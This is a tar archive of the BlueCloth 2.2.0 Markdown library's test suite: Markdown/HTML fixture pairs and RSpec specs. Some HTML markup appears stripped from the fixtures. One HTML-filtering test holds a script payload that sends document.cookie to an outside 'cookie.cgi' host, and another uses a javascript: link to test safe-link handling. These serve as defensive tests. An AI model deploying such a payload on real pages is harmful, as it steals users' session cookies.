bluecloth-2.2.0/spec/data/markdowntest/Inline HTML comments.text0000644000175000017500000000024411665167136024132 0ustar boutilboutilParagraph one. Paragraph two. The end. bluecloth-2.2.0/spec/data/markdowntest/Inline HTML comments.html0000644000175000017500000000027411665167136024115 0ustar boutilboutil

Paragraph one.

Paragraph two.

The end.

bluecloth-2.2.0/spec/data/markdowntest/Inline HTML (Simple).text0000644000175000017500000000105111665167136023654 0ustar boutilboutilHere's a simple block:
foo
This should be a code block, though:
foo
As should this:
foo
Now, nested:
foo
This should just be an HTML comment: Multiline: Code block: Just plain comment, with trailing spaces on the line: Code:
Hr's:








bluecloth-2.2.0/spec/data/markdowntest/Inline HTML (Simple).html0000644000175000017500000000142011665167136023634 0ustar boutilboutil

Here's a simple block:

foo

This should be a code block, though:

<div>
    foo
</div>

As should this:

<div>foo</div>

Now, nested:

foo

This should just be an HTML comment:

Multiline:

Code block:

<!-- Comment -->

Just plain comment, with trailing spaces on the line:

Code:

<hr />

Hr's:










bluecloth-2.2.0/spec/data/markdowntest/Inline HTML (Advanced).text0000644000175000017500000000022711665167136024134 0ustar boutilboutilSimple block on one line:
foo
And nested without indentation:
foo
bar
bluecloth-2.2.0/spec/data/markdowntest/Inline HTML (Advanced).html0000644000175000017500000000024511665167136024114 0ustar boutilboutil

Simple block on one line:

foo

And nested without indentation:

foo
bar
bluecloth-2.2.0/spec/data/markdowntest/Horizontal rules.text0000644000175000017500000000041611665167136023626 0ustar boutilboutilDashes: --- --- --- --- --- - - - - - - - - - - - - - - - Asterisks: *** *** *** *** *** * * * * * * * * * * * * * * * Underscores: ___ ___ ___ ___ ___ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ bluecloth-2.2.0/spec/data/markdowntest/Horizontal rules.html0000644000175000017500000000066111665167136023610 0ustar boutilboutil

Dashes:





---




- - -

Asterisks:





***




* * *

Underscores:





___




_ _ _
bluecloth-2.2.0/spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.text0000644000175000017500000000030511665167136030713 0ustar boutilboutilIn Markdown 1.0.0 and earlier. Version 8. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item. Here's one with a bullet. * criminey. bluecloth-2.2.0/spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.html0000644000175000017500000000032311665167136030673 0ustar boutilboutil

In Markdown 1.0.0 and earlier. Version 8. This line turns into a list item. Because a hard-wrapped line in the middle of a paragraph looked like a list item.

Here's one with a bullet. * criminey.

bluecloth-2.2.0/spec/data/markdowntest/Code Spans.text0000644000175000017500000000024511665167136022301 0ustar boutilboutil`` Fix for backticks within HTML tag: like this Here's how you put `` `backticks` `` in a code span.bluecloth-2.2.0/spec/data/markdowntest/Code Spans.html0000644000175000017500000000033611665167136022262 0ustar boutilboutil

<test a=" content of attribute ">

Fix for backticks within HTML tag: like this

Here's how you put `backticks` in a code span.

bluecloth-2.2.0/spec/data/markdowntest/Code Blocks.text0000644000175000017500000000030711665167136022431 0ustar boutilboutil code block on the first line Regular text. code block indented by spaces Regular text. the lines in this block all contain trailing spaces Regular Text. code block on the last linebluecloth-2.2.0/spec/data/markdowntest/Code Blocks.html0000644000175000017500000000047011665167136022412 0ustar boutilboutil
code block on the first line

Regular text.

code block indented by spaces

Regular text.

the lines in this block  
all contain trailing spaces  

Regular Text.

code block on the last line
bluecloth-2.2.0/spec/data/markdowntest/Blockquotes with code blocks.text0000644000175000017500000000020711665167136025740 0ustar boutilboutil> Example: > > sub status { > print "working"; > } > > Or: > > sub status { > return "working"; > } bluecloth-2.2.0/spec/data/markdowntest/Blockquotes with code blocks.html0000644000175000017500000000027211665167136025722 0ustar boutilboutil

Example:

sub status {
    print "working";
}

Or:

sub status {
    return "working";
}
bluecloth-2.2.0/spec/data/markdowntest/Backslash escapes.text0000644000175000017500000000234211665167136023661 0ustar boutilboutilThese should all get escaped: Backslash: \\ Backtick: \` Asterisk: \* Underscore: \_ Left brace: \{ Right brace: \} Left bracket: \[ Right bracket: \] Left paren: \( Right paren: \) Greater-than: \> Hash: \# Period: \. Bang: \! Plus: \+ Minus: \- These should not, because they occur within a code block: Backslash: \\ Backtick: \` Asterisk: \* Underscore: \_ Left brace: \{ Right brace: \} Left bracket: \[ Right bracket: \] Left paren: \( Right paren: \) Greater-than: \> Hash: \# Period: \. Bang: \! Plus: \+ Minus: \- Nor should these, which occur in code spans: Backslash: `\\` Backtick: `` \` `` Asterisk: `\*` Underscore: `\_` Left brace: `\{` Right brace: `\}` Left bracket: `\[` Right bracket: `\]` Left paren: `\(` Right paren: `\)` Greater-than: `\>` Hash: `\#` Period: `\.` Bang: `\!` Plus: `\+` Minus: `\-` These should get escaped, even though they're matching pairs for other Markdown constructs: \*asterisks\* \_underscores\_ \`backticks\` This is a code span with a literal backslash-backtick sequence: `` \` `` This is a tag with unescaped backticks bar. This is a tag with backslashes bar. bluecloth-2.2.0/spec/data/markdowntest/Backslash escapes.html0000644000175000017500000000326111665167136023642 0ustar boutilboutil

These should all get escaped:

Backslash: \

Backtick: `

Asterisk: *

Underscore: _

Left brace: {

Right brace: }

Left bracket: [

Right bracket: ]

Left paren: (

Right paren: )

Greater-than: >

Hash: #

Period: .

Bang: !

Plus: +

Minus: -

These should not, because they occur within a code block:

Backslash: \\

Backtick: \`

Asterisk: \*

Underscore: \_

Left brace: \{

Right brace: \}

Left bracket: \[

Right bracket: \]

Left paren: \(

Right paren: \)

Greater-than: \>

Hash: \#

Period: \.

Bang: \!

Plus: \+

Minus: \-

Nor should these, which occur in code spans:

Backslash: \\

Backtick: \`

Asterisk: \*

Underscore: \_

Left brace: \{

Right brace: \}

Left bracket: \[

Right bracket: \]

Left paren: \(

Right paren: \)

Greater-than: \>

Hash: \#

Period: \.

Bang: \!

Plus: \+

Minus: \-

These should get escaped, even though they're matching pairs for other Markdown constructs:

*asterisks*

_underscores_

`backticks`

This is a code span with a literal backslash-backtick sequence: \`

This is a tag with unescaped backticks bar.

This is a tag with backslashes bar.

bluecloth-2.2.0/spec/data/markdowntest/Auto links.text0000644000175000017500000000040711665167136022373 0ustar boutilboutilLink: . With an ampersand: * In a list? * * It should. > Blockquoted: Auto-links should not occur here: `` or here: bluecloth-2.2.0/spec/data/markdowntest/Auto links.html0000644000175000017500000000104211665167136022347 0ustar boutilboutil

Link: http://example.com/.

With an ampersand: http://example.com/?foo=1&bar=2

Blockquoted: http://example.com/

Auto-links should not occur here: <http://example.com/>

or here: <http://example.com/>
bluecloth-2.2.0/spec/data/markdowntest/Amps and angle encoding.text0000644000175000017500000000057511665167136024631 0ustar boutilboutilAT&T has an ampersand in their name. AT&T is another way to write it. This & that. 4 < 5. 6 > 5. Here's a [link] [1] with an ampersand in the URL. Here's a link with an amersand in the link text: [AT&T] [2]. Here's an inline [link](/script?foo=1&bar=2). Here's an inline [link](). [1]: http://example.com/?foo=1&bar=2 [2]: http://att.com/ "AT&T"bluecloth-2.2.0/spec/data/markdowntest/Amps and angle encoding.html0000644000175000017500000000077111665167136024607 0ustar boutilboutil

AT&T has an ampersand in their name.

AT&T is another way to write it.

This & that.

4 < 5.

6 > 5.

Here's a link with an ampersand in the URL.

Here's a link with an amersand in the link text: AT&T.

Here's an inline link.

Here's an inline link.

bluecloth-2.2.0/spec/data/antsugar.txt0000644000175000017500000000230111665167136017312 0ustar boutilboutilThe Ant-Sugar Tales =================== By Candice Yellowflower The _Ant-Sugar Tales_ is a collection of short stories told from the perspective of a fine young lady from [Venice][1], who has some run-ins with a few [inquisitive insects][2]. Each tale presents a moral quandry, which the ants are quick to solve with their antly wisdom and know-how. Some of the moral lessons presented are: * Laundry: How not to get caught in soiled knickers. * Used Ticket Stubs and Their Impact on the Universe * I'm Keeping a Birdhouse in my Attic Use of Metaphor --------------- The author's splended use of metaphor can be attributed to her growing up in a art-supply store. Her characters are richly outlined, but her unusual descriptions can sometimes be a bit jarring in places, such as her description of the old caretaker that lives inside a hollow tree in her yard: > His skin was smooth like Magnani Pescia 100% acid-free cold pressed > 22x30" Soft White Paper, with fine hair like the bristles of a Habico > Lasur Superb Oil Glazing Brush Size 10. [1]: http://www.azureva.com/gb/italie/mags/grand-canal.php3 (Venice: The Grand Canal) [2]: http://www.fortunecity.com/emachines/e11/86/tourist4d.html bluecloth-2.2.0/spec/contributions_spec.rb0000644000175000017500000000405011665167136020260 0ustar boutilboutil#!/usr/bin/env ruby BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "contributed features: " do include BlueCloth::TestConstants, BlueCloth::Matchers ### HTML filter options contributed by Florian Gross. describe "Florian Gross's HTML filtering (backward-compatibility)" do DANGEROUS_HTML = "" DANGEROUS_HTML_OUTPUT = "

<script>document.location='http://www.hacktehplanet.com" + "/cgi-bin/cookie.cgi?' + document.cookie</script>

" NO_LESS_THAN_TEXT = "Foo is definitely > than bar" NO_LESS_THAN_OUTPUT = "

Foo is definitely > than bar

" ### Test the :filter_html restriction it "can be configured with html filtering when created" do bc = BlueCloth.new( 'foo', :filter_html ) bc.options.should include( :escape_html ) end it "can be configured with html filtering (via an Array of options) when created" do bc = BlueCloth.new( 'foo', [:filter_html] ) bc.options.should include( :escape_html ) end it "can escape any existing HTML in the input if configured to do so" do the_markdown( DANGEROUS_HTML, :filter_html ). should be_transformed_into( DANGEROUS_HTML_OUTPUT ) end it "doesn't raise an exception when filtering source with a lone closing angle bracket" do the_markdown( NO_LESS_THAN_TEXT, :filter_html ). should be_transformed_into( NO_LESS_THAN_OUTPUT ) end it "ignores a :filter_styles argument for RedCloth compatibility" do lambda { BlueCloth.new( '', :filter_styles ) }.should_not raise_error() end end end bluecloth-2.2.0/spec/bugfix_spec.rb0000644000175000017500000001255711665167136016655 0ustar boutilboutil#!/usr/bin/env ruby # coding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'timeout' require 'rspec' require 'spec/lib/helpers' require 'bluecloth' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "bugfixes" do include BlueCloth::TestConstants, BlueCloth::Matchers before( :all ) do @basedir = Pathname.new( __FILE__ ).dirname.parent @datadir = @basedir + 'spec/data' end it "provides a workaround for the regexp-engine overflow bug" do datafile = @datadir + 're-overflow.txt' markdown = datafile.read lambda { BlueCloth.new(markdown).to_html }.should_not raise_error() end it "provides a workaround for the second regexp-engine overflow bug" do datafile = @datadir + 're-overflow2.txt' markdown = datafile.read lambda { BlueCloth.new(markdown).to_html }.should_not raise_error() end it "correctly wraps tags around two characters enclosed in four asterisks" do the_markdown( "**aa**" ).should be_transformed_into( "

aa

" ) end it "correctly wraps tags around a single character enclosed in four asterisks" do the_markdown( "**a**" ).should be_transformed_into( "

a

" ) end it "correctly wraps tags around two characters enclosed in four underscores" do the_markdown( "__aa__" ).should be_transformed_into( "

aa

" ) end it "correctly wraps tags around a single character enclosed in four underscores" do the_markdown( "__a__" ).should be_transformed_into( "

a

" ) end it "correctly wraps tags around two characters enclosed in two asterisks" do the_markdown( "*aa*" ).should be_transformed_into( "

aa

" ) end it "correctly wraps tags around a single character enclosed in two asterisks" do the_markdown( "*a*" ).should be_transformed_into( "

a

" ) end it "correctly wraps tags around two characters enclosed in four underscores" do the_markdown( "_aa_" ).should be_transformed_into( "

aa

" ) end it "correctly wraps tags around a single character enclosed in four underscores" do the_markdown( "_a_" ).should be_transformed_into( "

a

" ) end it "doesn't raise an error when run with $VERBOSE = true" do oldverbose = $VERBOSE lambda do $VERBOSE = true BlueCloth.new( "*woo*" ).to_html end.should_not raise_error() $VERBOSE = oldverbose end it "doesn't hang when presented with a series of hyphens (rails-security DoS/#57)" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation This line of markdown below will hang you if you're running BlueCloth 1.x. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - END_MARKDOWN

This line of markdown below will hang you if you're running BlueCloth 1.x.


END_HTML end it "recognizes closing block tags even when they're not on their own line" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation Para 1
HTML block
		
Para 2 [Link](#anchor) END_MARKDOWN

Para 1

HTML block
		

Para 2 Link

END_HTML end it "correctly wraps lines after a code block in a list item" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation * testing pre more li END_MARKDOWN
  • testing

      pre
    		

    more li

END_HTML end it "renders heading with trailing spaces correctly (#67)" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation The Ant-Sugar Tales =================== By Candice Yellowflower Use of Metaphor --------------- The author's splendid... END_MARKDOWN

The Ant-Sugar Tales

By Candice Yellowflower

Use of Metaphor

The author's splendid...

END_HTML end it "renders the example from #68 correctly" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation START example 1. ö 1. ü 1. ó 1. ő 1. ú 1. é 1. á 1. ű 1. í - ö - ü - ó - ő - ú - é - á - ű - í END example END_MARKDOWN

START example

  1. ö
  2. ü
  3. ó
  4. ő
  5. ú
  6. é
  7. á
  8. ű
  9. í

  10. ö

  11. ü
  12. ó
  13. ő
  14. ú
  15. é
  16. á
  17. ű
  18. í

END example

END_HTML end it "renders alignments in code blocks without changing indentation (#71)" do the_indented_markdown( " Самообучение\n Bugaga\n" ). should be_transformed_into( "
Самообучение\nBugaga\n
" ) end end __END__ bluecloth-2.2.0/spec/bluecloth_spec.rb0000644000175000017500000002246111665167136017345 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ### Output some debugging if $DEBUG is true def debug_msg( *args ) $stderr.puts( *args ) if $DEBUG end ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth do include BlueCloth::TestConstants, BlueCloth::Matchers it "defines the top-level Markdown constant" do Object.const_defined?('Markdown').should be_true() # :FIXME: This is probably a fragile test, as anything else that defines it before # the BlueCloth tests run could lead to a false failure. I at least know that it'll # work in my environment, and I'm not sure how else to test it. ::Markdown.should be_equal( ::BlueCloth ) end it "knows what version of Discount was used to build it" do BlueCloth.discount_version.should =~ /^\d+\.\d+\.\d+.*GITHUB-TAGS/ end it "can build a flags bitmask out of an options hash" do flags = BlueCloth.flags_from_opthash( :remove_links => true, :header_labels => true, :pandoc_headers => false ) ( flags & BlueCloth::MKD_NOLINKS ).should be_nonzero() ( flags & BlueCloth::MKD_TOC ).should be_nonzero() ( flags & BlueCloth::MKD_NOHEADER ).should be_nonzero() end it "handles non-string content safely" do BlueCloth.new( nil ).text.should == '' end it "inherits the taintedness of its input" do str = "a string" BlueCloth.new( str ).should_not be_tainted() str.taint BlueCloth.new( str ).should be_tainted() end it "allows output to be rendered several times" do bc = BlueCloth.new( "Some text" ) bc.to_html.should == bc.to_html end it "correctly applies the :remove_links option to the output" do input = "An [example](http://url.com/). A link." expected = "

An [example](http://url.com/). A <a href='http://example.com/'>link.

" the_markdown( input, :remove_links => true ).should be_transformed_into( expected ) end it "correctly applies the :remove_images option to the output" do input = %{An ![alt text](/path/img.jpg "Title"). An .} expected = %{

An ![alt text](/path/img.jpg "Title"). An <img href='http://example.com/1.jpg' />.

} the_markdown( input, :remove_images => true ).should be_transformed_into( expected ) end it "correctly applies the :smartypants option to the output" do input = %{He was known to frequent that "other establishment"...} expected = %{

He was known to frequent that “other establishment”…

} the_markdown( input, :smartypants => true ).should be_transformed_into( expected ) end it "correctly applies the :auto_links option to the output" do the_indented_markdown( <<-"---", :auto_links => true ).should be_transformed_into(<<-"---").without_indentation I wonder how many people have http://google.com/ as their home page. ---

I wonder how many people have http://google.com/ as their home page.

--- end it "doesn't form links for protocols it doesn't know about under :safe_links mode" do the_indented_markdown( <<-"---", :safe_links => true ).should be_transformed_into(<<-"---").without_indentation This is an example [of something](javascript:do_something_bad(\\)) you might want to prevent. ---

This is an example [of something](javascript:dosomethingbad()) you might want to prevent.

--- end it "forms links for protocols it doesn't know about when not under :safe_links mode" do the_indented_markdown( <<-"---", :safe_links => false ).should be_transformed_into(<<-"---").without_indentation This is an example [of something](javascript:do_something_benign(\\)) you might want to allow. ---

This is an example of something you might want to allow.

--- end describe "Discount extensions" do it "correctly applies the :pandoc_headers option" do input = "% title\n% author1, author2\n% date\n\nStuff." bc = BlueCloth.new( input, :pandoc_headers => true ) bc.header.should == { :title => 'title', :author => 'author1, author2', :date => 'date' } bc.to_html.should == '

Stuff.

' end it "correctly expands id: links when :pseudoprotocols are enabled" do input = "It was [just as he said](id:foo) it would be." expected = %{

It was just as he said it would be.

} the_markdown( input, :pseudoprotocols => true ).should be_transformed_into( expected ) end it "correctly expands class: links when :pseudoprotocols are enabled" do input = "It was [just as he said](class:foo) it would be." expected = %{

It was just as he said it would be.

} the_markdown( input, :pseudoprotocols => true ).should be_transformed_into( expected ) end it "correctly expands raw: links when :pseudoprotocols are enabled" do input = %{I have node idea [what this is for](raw:really "but") it's here.} expected = %{

I have node idea really it's here.

} the_markdown( input, :pseudoprotocols => true ).should be_transformed_into( expected ) end it "correctly adds IDs to headers when :header_labels is enabled" do input = %{# A header\n\nSome stuff\n\n## Another header\n\nMore stuff.\n\n} expected = %{\n

A header

\n\n

Some stuff

\n\n} + %{\n

Another header

\n\n

More stuff.

} the_markdown( input, :header_labels => true ).should be_transformed_into( expected ) end it "expands superscripts only when :superscript is enabled" do input = %{It used to be that E = mc^2 used to be the province of physicists.} expected = %{

It used to be that E = mc2 used to be the province} + %{ of physicists.

} disabled = %{

It used to be that E = mc^2 used to be the province} + %{ of physicists.

} the_markdown( input, :superscript => false ).should be_transformed_into( disabled ) the_markdown( input, :superscript => true ).should be_transformed_into( expected ) end it "uses relaxed emphasis when :relaxed is enabled" do input = %{If you use size_t instead, you _won't_ have to worry as much about portability.} relaxed = %{

If you use size_t instead, you won't have to worry as much about portability.

} strict = %{

If you use sizet instead, you won't_ have to worry as much about portability.

} the_markdown( input, :relaxed => true ).should be_transformed_into( relaxed ) the_markdown( input, :relaxed => false ).should be_transformed_into( strict ) end end ### Test email address output describe " email obfuscation" do TESTING_EMAILS = %w[ address@example.com foo-list-admin@bar.com fu@bar.COM baz@ruby-lang.org foo-tim-bazzle@bar-hop.co.uk littlestar@twinkle.twinkle.band.CO.ZA ll@lll.lllll.ll Ull@Ulll.Ulllll.ll UUUU1@UU1.UU1UUU.UU l@ll.ll Ull.Ullll@llll.ll Ulll-Ull.Ulllll@ll.ll 1@111.ll ] # I can't see a way to handle IDNs clearly yet, so these will have to wait. # info@öko.de # jemand@büro.de # irgendwo-interreßant@dÅgta.se #] def decode( str ) str.gsub( /&#(x[a-f0-9]+|\d{1,3});/i ) do |match| code = $1 debug_msg "Decoding &##{code};" case code when /^x([a-f0-9]+)/i debug_msg "-> #{$1.to_i(16).chr}" $1.to_i(16).chr when /^\d+$/ debug_msg "-> #{code.to_i.chr}" code.to_i.chr else raise "Hmmm... malformed entity %p" % code end end end TESTING_EMAILS.each do |addr| it( "obfuscates the email address %p" % addr ) do html = BlueCloth.new( "<#{addr}>" ).to_html expected_output = %r{

[^<]+

} match = expected_output.match( html ) match.should be_an_instance_of( MatchData ) match[1].should_not == addr decoded_href = decode( match[1] ) debug_msg "Unencoded href = %p" % [ decoded_href ] decoded_href.should == "mailto:#{addr}" end end end describe "encoding under Ruby 1.9.x", :ruby_19_only => true do before( :each ) do pending "only valid under a version of Ruby that has the Encoding class" unless Object.const_defined?( :Encoding ) end it "outputs HTML in UTF8 if given a UTF8 string" do input = "a ∫‡®îñg".encode( Encoding::UTF_8 ) output = BlueCloth.new( input ).to_html output.encoding.should == Encoding::UTF_8 end it "outputs HTML in KOI8-U if given a KOI8-U string" do input = "Почему Молчишь".encode( Encoding::KOI8_U ) output = BlueCloth.new( input ).to_html output.should == "

\xF0\xCF\xDE\xC5\xCD\xD5 \xED\xCF\xCC\xDE\xC9\xDB\xD8

". force_encoding( Encoding::KOI8_U ) end it "outputs HTML in Shift-JIS if given a Shift-JIS string" do input = "日本語".encode( Encoding::SHIFT_JIS ) output = BlueCloth.new( input ).to_html output.should == "

\x93\xFA\x96{\x8C\xEA

". force_encoding( Encoding::SHIFT_JIS ) end end end # vim: set nosta noet ts=4 sw=4: bluecloth-2.2.0/spec/bluecloth/0000755000175000017500000000000011665167136016001 5ustar boutilboutilbluecloth-2.2.0/spec/bluecloth/titles_spec.rb0000644000175000017500000002130511665167136020645 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "titles" do # setext-style h1 -- three characters it "transforms Setext-style level-one headers (three equals) into an H1" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Title Text === ---

Title Text

--- end # setext-style h1 -- match title width it "transforms Setext-style level-one headers (more than three equals) into an H1" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Title Text ========== ---

Title Text

--- end # setext-style h2 -- one character it "transforms Setext-style level-two headers (one dash) into an H2" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Title Text - ---

Title Text

--- end # setext-style h2 -- three characters it "transforms Setext-style level-two headers (three dashes) into an H2" do the_indented_markdown( <<-"..." ).should be_transformed_into(<<-"...").without_indentation Title Text --- ...

Title Text

... end # setext-style h2 -- match title width it "transforms Setext-style level-two headers (more than three dashes) into an H2" do the_indented_markdown( <<-"..." ).should be_transformed_into(<<-"...").without_indentation Title Text ---------- ...

Title Text

... end # ATX-style h1 -- Left side only it "makes a header out of an ATX-style h1 -- Left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation # Title Text ---

Title Text

--- end # ATX-style h1 -- both sides it "makes a header out of an ATX-style h1 -- both sides" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation # Title Text # ---

Title Text

--- end # ATX-style h1 -- both sides, right side with three characters it "makes a header out of an ATX-style h1 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation # Title Text ### ---

Title Text

--- end # ATX-style h1 -- both sides, right side with five characters it "makes a header out of an ATX-style h1 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation # Title Text ##### ---

Title Text

--- end # ATX-style h2 -- left side only it "makes a header out of an ATX-style h2 -- left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ## Title Text ---

Title Text

--- end # ATX-style h2 -- both sides it "makes a header out of an ATX-style h2 -- both sides" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ## Title Text # ---

Title Text

--- end # ATX-style h2 -- both sides, right side with three characters it "makes a header out of an ATX-style h2 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ## Title Text ### ---

Title Text

--- end # ATX-style h2 -- both sides, right side with five characters it "makes a header out of an ATX-style h2 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ## Title Text ##### ---

Title Text

--- end # ATX-style h3 -- left side only it "makes a header out of an ATX-style h3 -- left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ### Title Text ---

Title Text

--- end # ATX-style h3 -- both sides, right side with one character it "makes a header out of an ATX-style h3 -- both sides, right side with one character" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ### Title Text # ---

Title Text

--- end # ATX-style h3 -- both sides, right side with three characters it "makes a header out of an ATX-style h3 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ### Title Text ### ---

Title Text

--- end # ATX-style h3 -- both sides, right side with five characters it "makes a header out of an ATX-style h3 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ### Title Text ##### ---

Title Text

--- end # ATX-style h4 -- left side only it "makes a header out of an ATX-style h4 -- left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation #### Title Text ---

Title Text

--- end # ATX-style h4 -- both sides, right side with one character it "makes a header out of an ATX-style h4 -- both sides, right side with one character" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation #### Title Text # ---

Title Text

--- end # ATX-style h4 -- both sides, right side with three characters it "makes a header out of an ATX-style h4 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation #### Title Text ### ---

Title Text

--- end # ATX-style h4 -- both sides, right side with five characters it "makes a header out of an ATX-style h4 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation #### Title Text ##### ---

Title Text

--- end # ATX-style h5 -- left side only it "makes a header out of an ATX-style h5 -- left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ##### Title Text ---
Title Text
--- end # ATX-style h5 -- both sides, right side with one character it "makes a header out of an ATX-style h5 -- both sides, right side with one character" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ##### Title Text # ---
Title Text
--- end # ATX-style h5 -- both sides, right side with three characters it "makes a header out of an ATX-style h5 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ##### Title Text ### ---
Title Text
--- end # ATX-style h5 -- both sides, right side with five characters it "makes a header out of an ATX-style h5 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ##### Title Text ##### ---
Title Text
--- end # ATX-style h6 -- left side only it "makes a header out of an ATX-style h6 -- left side only" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ###### Title Text ---
Title Text
--- end # ATX-style h6 -- both sides, right side with one character it "makes a header out of an ATX-style h6 -- both sides, right side with one character" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ###### Title Text # ---
Title Text
--- end # ATX-style h6 -- both sides, right side with three characters it "makes a header out of an ATX-style h6 -- both sides, right side with three characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ###### Title Text ### ---
Title Text
--- end # ATX-style h6 -- both sides, right side with five characters it "makes a header out of an ATX-style h6 -- both sides, right side with five characters" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation ###### Title Text ##### ---
Title Text
--- end end bluecloth-2.2.0/spec/bluecloth/paragraphs_spec.rb0000644000175000017500000000277511665167136021503 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "document with paragraphs" do it "wraps them in P tags" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation This is some stuff that should all be put in one paragraph even though it occurs over several lines. And this is a another one. ---

This is some stuff that should all be put in one paragraph even though it occurs over several lines.

And this is a another one.

--- end it "transforms trailing double spaces to line breaks" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Mostly the same kind of thing with two spaces at the end of each line should result in line breaks, though. And this is a another one. ---

Mostly the same kind of thing
with two spaces at the end
of each line
should result in
line breaks, though.

And this is a another
one.

--- end end bluecloth-2.2.0/spec/bluecloth/lists_spec.rb0000644000175000017500000001751411665167136020506 0ustar boutilboutil#!/usr/bin/env ruby # encoding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "lists" do it "support unordered lists with asterisk bullets" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation * Red * Green * Blue ---
  • Red
  • Green
  • Blue
--- end it "supports unordered lists with hyphen bullets" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation - Red - Green - Blue ---
  • Red
  • Green
  • Blue
--- end it "supports unordered lists with '+' bullets" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation + Red + Green + Blue ---
  • Red
  • Green
  • Blue
